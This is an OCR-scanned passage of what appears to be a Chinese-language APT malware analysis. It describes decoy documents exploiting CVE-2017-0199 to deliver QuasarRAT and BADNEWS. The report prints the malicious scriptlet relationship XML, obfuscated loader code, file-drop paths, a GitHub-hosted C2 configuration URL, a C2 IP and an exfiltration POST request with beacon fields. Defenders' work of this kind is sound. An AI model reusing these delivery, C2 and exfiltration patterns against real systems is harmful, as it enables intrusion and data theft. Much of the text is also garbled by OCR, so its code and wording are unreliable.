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Foreign Policy
at BROOKINGS

Enter the KEY below & click on the bgof't_ot-'
unlock the document

The Strategic Chain
Linking Pakistan, India,
China, and the United
States

3. JEITFREUNHERD) OLE X RN, RIMFHZ 4N Start_chain_1 1] ppsx
# R ppt SRS, i BRI AT H 2045 ppt.

o HEPpEREF - C:\Wocuments and Settings\... |Z||E|r>__(|
M) dmiE(E) FEED IZHJ
-——5E-- \AEED. . m HE: (v Haf(m O

Strat chain 1.ppsx [FEl &
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Strategic_Chain.pdf

Foreign Policy
at BROOKINGS

The Strategic Chain
Linking Pakistan, India, —
China, and the United

States

6. B ERHEMZA, ZHL BRI 15— 4474 Entanglement [1] ppsx
fSCRY, SCRYEIRE(E ] T CVE-2017-0199 IR, A kS5 —kEhEH
PR

<?xml version=""1.8" encoding="UTF-8" standalone="yes"?>

<Relationships xmlns="http://schemas.openxmnlformats.org/package/2006/relationships™>

<Relationship Id=""vId3" Type="http://schemas.openzmlformats.org/officebocument/20886/relationships/image”
Target="script:http://www._rannd.org/slide.sct' TargetHode="External"/>

7. 5HAWKGEFEAARRZE, HAFTIHZ ppsx AR Il R IR 5, it
Powershell N #—134 N decoy ] ppt F-#% Powerpoint JH#EkEk, N
ppt [FFE B A U
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China’s
Arctic Dream

AUTHOR.
Heather A. Conley.,

A Reportofthe.
CSIS EUROPE PROGRAM.

China’s Arctic Dream

NIDSCHINA SECURITY REPORT

o [E 22 i g s 2018
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Be B T4 5e 0d Da 04 0a 3¢ 72 BB BY B0 72 74 72 let>....<registr

61 T4 B9 6f Ge 04 0a 20 20 20 20 64 /5 73 62 7Y ation.. descr
B9 TO T4 69 6f Be 3d 22 BB Ba Ta Bd YO B Ba 7B 1pt1|3n— fizmpciv
T1 70 22 0d 0a 20 20 20 20 70 72 6f 67 69 64 3d qp .. pru:ugld—

92 BF Ba Ta 6d TO B3 Ba TH TL TO 22 0d Da 20 20  “fizmpcivap”..
20 20 76 65 T2 73 B9 Af  FBe 3d 22 31 Ze 30 30 22 version="1.00"
0d Da 20 20 20 20 63 Gc HBL1 73 73 A9 B4 3d 22 7b ) classid="{
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O0d Da 3c 2f 72 A5 BT A9 72 74 72 A1 74 69 Af He ..< registration
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74 e B5 TS A5 22 2c 30 Zc A6 Bl e T3 B5 20 3b | t.exe”, 0, false):
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EIVFRIA, BRHARGKE T Hs LB S, X 4 20
7 CVE-2015-2545 Al CVE-2017-0261 il SRS HEAT 0t iR Moy o #0080 IRilE S
PRFPPD R 25 A, PB4 B3 B o 4 el () A SR i i B, 5 B i i
TREZRSA RIE RS . MR SR il & J5 2R 08T i AR ) BADNEWS R 51
A5,

J .
e MINISTRY OF INTERIOR e
m NATIONAL DATABASE & REGISTRATION AUTHORITY N
Regional Head Office, =
New Zarghoon Road Quetta,
Telephone:081-9211854, Fax-081-9211828
NADRA/NRC/Policy- 7005-15 11 Dec 2017
REMINDER-IIl
To: All Zonal Assistant Directors,

All DAUs (NRCs/MRVs)
1D: Technical Section
Card Destruction Cell

Subject: Disposal of Cards/ Security Papers/ Scanned Forms- Yearly Report
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3.1 QuasarRAT K5

X EMS A B ELE B T, FE GO AR N QuasarRAT .
1. BERIAR S R A B Ohid s ek Qiho 360 %5,

X

sny.exe Properties

General | Wersion | Cornpatibility || Summary|

File version:  1.0.0.0
Description:  Qiko 360 Active Deferce

Copyright: Copyright & 2014

Other wersion information

Itern name: W alue:

Comments
Compary

File Yersion
Internal Mame
Language

Legal Trademarks
Original File narme
Froduct Marme
Product Wersion

] H Cancel l Apply

E microsoft_network Properties

| General I Compatibility I Secur'rtyl Details | Previous ‘u"ersionsl

Property Value

Description
File description  Qiho Defence
Type Application
File: version 1004
Product name Microsoft Defender
Product version  1.0.22

Copyright Microsoft Defender

Size 326 KB
Date modified 3/16/2018 10:22 AM
Language Language Meutral

Legal trademarks Defender
Criginal filename  Microsoft Defender

Remove Properties and Personal Information

[ ok || cancel Apply
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2. QuasarRAT RERH Cign's , (H & K LR S ANZ I T — Bt Loader A,

Loader AL 11 = Th 8 2 S AG I 2 b

AT,

=3 sny (1.0.0.0)
[ References
| Resources
@ {
@ ) AQSPIZWILadgEYXUKR
@ {} DrocFbyjanGy2gShMK
i} eSaamkow3aT4pmesflL
=4} gCEmaSxgthzyHifdu
=
& 3 Base Types
W Derived Types

@ .ctor() : void
=]

=g

=]

=

= [

i

o

=

%

£
O kaFazHevnMUKavFVZ
{} magrsovrHPehQrenEs
=4} gho

=% Fomt
® ' Base Types
U Devived Types

&

[

=

[ == Forml. PumpType

~

CHIIhRE, FRER G INEJRIE QuasarRAT

QuasarRAT A 55K H & i B VR i AL P

1/ gComasxgtihZYHffdu.XsVpfAndeSkRFn4GIS

[EditorBrowsable(EditorBrowsableState. Advanced), DebuggerHidden, STAThread]

[MethodImpl( (MethodImplOptions)72)]

linternal static void nIfAKZSFp(string[] )

i
int arg 61_@ = XsVpfandeSkRFN4GI9.tCnltIFp7P2ZmuheYk() ? 3 : 2;
while (true)

switch (arg_61_8)

case @:
case 2:

goto IL_14;
case 1:

goto IL_1F;
case 3:

goto IL_2F;
case 4:

return;
default:

arg 61 6 = 4;
break;

application.SetCompatibleTextRenderingDefault (windowsFormsapplicationBase. UseCompatibleTextRendering);
VAOPo9BGO1jpafkboa. Fulkik1nzPHID ()

I

finally

{

h

i
15AM79ESP72q1tAT3Q. mUyisFasn.Run( );

TR UL R LA

arg_AA @ = 7;

continue;
1
IL_@E:
Forml.(DoPweX7mosge6QtThg(this);
arg A& B = 5

if (false)
goto IL_28;

¥

continue;

1L_28:

goto IL_BE;

IL_20:

goto IL_28;

IL_3D:

Forml.p2aQBLX8TbarjFGGTWS (18088);
arg_AA @ = 2;

continue;

IL_64:
Forml.zNRDKZXWEGp1ITvFj20(this);
arg AA B = 10;

continue;

IL_ES:
Forml.qYaZCZXmDg9P8riXouM(this);
arg AS B = 8;

continue;

IL_92:
Forml.TExZBsXhyiKW6htC219(this);
gote IL_ES;

3
}

4. WEARGIEL.

1. Beadiice

string text = Forml.KOUuIOXOXCp7eZtI16G(Forml.MWXMBEXHNudn6kTULWS());

2 Blillexe it

5. MEAEWERERE,

[EBRERAT) WA

22 ERE C&C RS 25 .
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14:

p 17937

6. RFAPIERIN RS, SRR, AL A BRE S CaC TR
55 Ao

(1) {(sbiect)packet), Pref

@ packet

ap

ore (TM) 15-6500 CPU
1023 MB..Video Car

3.2 BADNEWS K5

AR ¢, BRI R S0 BADNEWS ALy,

1. FHZS SO b R IR e 2 BT =AN S
%PROGRAMDATA%\Microsoft\DeviceSync\VMwareCplLauncher.exe
%PROGRAMDATA%\Microsoft\DeviceSync\vmtools.dll
%PROGRAMDATA%\Microsoft\DeviceSync\MSBuild.exe

HrAr VMwareCplLauncher.exe N BB GEF2E L CAE, vmtools.dll A%

[EBRERAT) WA @IMERERE



BIHER 5

www.venustech.com.cn

[BEREREHE APT KDk

AR dil, T &% BADNEWS [ #7125 F MSBuild.exe
2. VMwareCpllLauncher.exe iz1T )5, 2 H3IN#E vmtools.dll, vmtools.dll $4T /5
2 —A 4N BaiduUpdateTaskl FIAT55 1K, 1ZAT 55 1HRIEERG — 0 EF 231
1T—1X MSBuild.exe
3. MSBuild.exe $/7/5, & T#K
hxxps://raw.githubusercontent.com/husngilgit/husnahazrt/master/xml.xml

<rﬁs anns ‘blogChanne1="http://backend. userland. com/blogChanne THadu Te™ version="2 0">
<Channe
<titlergood</ti

<link=http: //feeds rap1dfaeds com,/ 79167 f</Tink>
<atom:1ink xmlns:atom="http://www.w3.org/2005/atom” rel="via" href=" http [fifeeds. rapidfeads. com/79167/" type= app'l1cat1on/rss+xm1 />
<atom:1ink xmlns:atom="http://www.w3.org/2005/Atom" rel="self" href="http://feeds.rapidfeeds.com/79167/" type="application/rss+xml"/>
<descriptions
<1 {CDATA{
[ [ODV ZmNmYZ Y4 NWF 1 YwRhOWNTYWR § YTZ 1MmU0Y § g1 MDU4ZmUS Mj gwOGML Y2 Y4NDgOMiM=] ]

>

1

</descriptions

<pubDate>Tue, 21 Jul 2015 05:03:09 EST< ;’puhDate

<docs=http: f,-"bd(.kerld userland, Lumz’r‘sb fdoc

?enerator >RapidFeeds v2.0 -- http://fww, rap1dfeeds com</generators>
<language>en</language>

</channal>

</rss>

HUH “[[” A1 “11” R[] Base64 F-4FH:, it IR base64d ffht FIELIR iF 2 I 15
BIFEARTE EERE N c&C Huhik,

4, PHEEN LG R KIED C&C RS A gD HbE . N E2E BT
uuid=[UUID] #un=[& 3% % J#cn=[1 F L4 [Hon=[#E1E RGN A] #lan=[IP Hh
hk-J#nop=tver=1.0. FFfF A AES In# 5L (-
DD1876848203D9E10ABCEEC07282FF37) +base64 Zhf & i% 5|
//e3e7e71a0b28b5e96cc492e636722f73//4sVKAOvu3D//ABDYotONxyG.php

5. TEAYH] base64 Zuhd g ib Xt gm bt f5 O EHE () [ 8 Im e AL B AR =7 F17 &7

= S5y

T

POST //e3e7ei1aBb28b5e96ccd92e636722F73//AsVKAOvu3D/ /ABDYotBNxyG. php HTTP/1.1
HOST: 94.156.35.284

User-Agent: Mozilla/5.@ (Windows NT 6.1; WOWe4; rv:44.8) Gecko/20100101
Accept: application/x-www-form-urlencoded

Content-Type: application/x-www-form-urlencoded

Cache-Control: no-cache

Content-Length: 118

/s0=YLaCTHRngx8kDhkUmNBfPzF@6Y&7 /N=00QIvedVmCZ IkEA+Wc&FnuX=290WKCP7qbwIVIXmAdnk Tns Tkh55vkNP1i0
+h0Fs1g55kEnx80Q==8&crc=e3ab

6. IR hn LR S M BUBR S ISR
(xls, .xlsx, .doc, .docx, .ppt, .pptx, .pdf Z5) , FRANIEE H3E FH
edg499.dat.
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text:00B62OFA var_4 = dword ptr -4

text:08B62OF O

text:A0B62AF A push ebp

text:88B69 BF1 moy ebp, esp

text:00B690OF3 sub esp, 218h

text:AABGIOF D moy eax, _ security_cookie

text :90B69BFE xor eax, ebp

text:80B6216808 moy [ebp+var_4], eax

text:08B69183 push esi

text :00B69184 push edi

text:@0B62185 lea eax, [ebp+Buffer]

text:@0B6210B push eax ; lpBuffer
text:@0B6218C push 184h ; nBufferLength
text:00B69111 call ds:GetLogicalDriveStringsW
text:00B62117 cmp [ebp+Buffer], 8

text:@0B6211F lea esi, [ebp+Buffer]

text:@0B69125 jz short loc_B69153

text:08B69127 mov edi, ds:GetDriveTypeW
text:@0B6212D lea ec®, [ecx+0]

text:00B62138

text: 00869130 loc_B69138: ; CODE XREF: findsensefile+61}Lj
text:80B62130 push esi 5 lpRootPathHame
text:08B69131 call edi ; GetDriveTypeW
text:@0B69133 cmp eax, DRIVE_FIXED

text:@0B621346 jnz short loc_B69141

text:08B69138 push esi

text:@0B62139 call collegctfile

text:80B6913E add esp, 4

text:08B69141

text:00B69141 loc_B69141: ; CODE XREF: findsensefile+46tj
text:B0BG9141 ; findsensefile+58j
text:88B62 141 add esi, 2

text:B0B62 144 cmp word ptr [esi], 8

text:A0B62 148 jnz short loc_B69141

text:90B6214A add esi, 2

text:@0B62 14D cmp wvord ptr [esi], 8

text:@0B69151 jnz short loc_B69130

text:08B69153

text:00B69153 loc_B69153: ; CODE XREF: findsensefile+3571j
text:@0B62153 mov ecx, [ebp+var_4]

text:0BB69156 pop edi

text:80B69157 Xor ecx, ebp

text:08B69159 pop esi

7. GUEZRE, RFRACREE, wWHE RS RAVIER H N H) TPX498.dat.

8. FIRTRAF Ny dat SCEFHER, [FIFE(EA 3R AES TN 5iik+base64d Jhd K%k
H K 1% il fif i i Hh ik Ay N
\e3e7e71a0b28b5e96cc492e636722f73\4sVKAOvu3D\UYEfgEpXAOE.php

4 pagk

Illl\—n

E1 G50 B RN ESETE AR R KT E AR, B
SR, SRR E R, U SR Rt R i, RIEHH 1
SRS R, JF B BRI S, B AL, HovRi.

FI 4L L 28 e A 5 e 7060/ AR DA, FLAS 03 0 -
BT, APRE 2 TR R S ORS00, B2 Rt P B AT LA 1

X T A RGBS, T PR 2 AR AT P B TR
O, SLSeARRT URAT RO BRI, (AT 5 S ROV 2 50T DAL T
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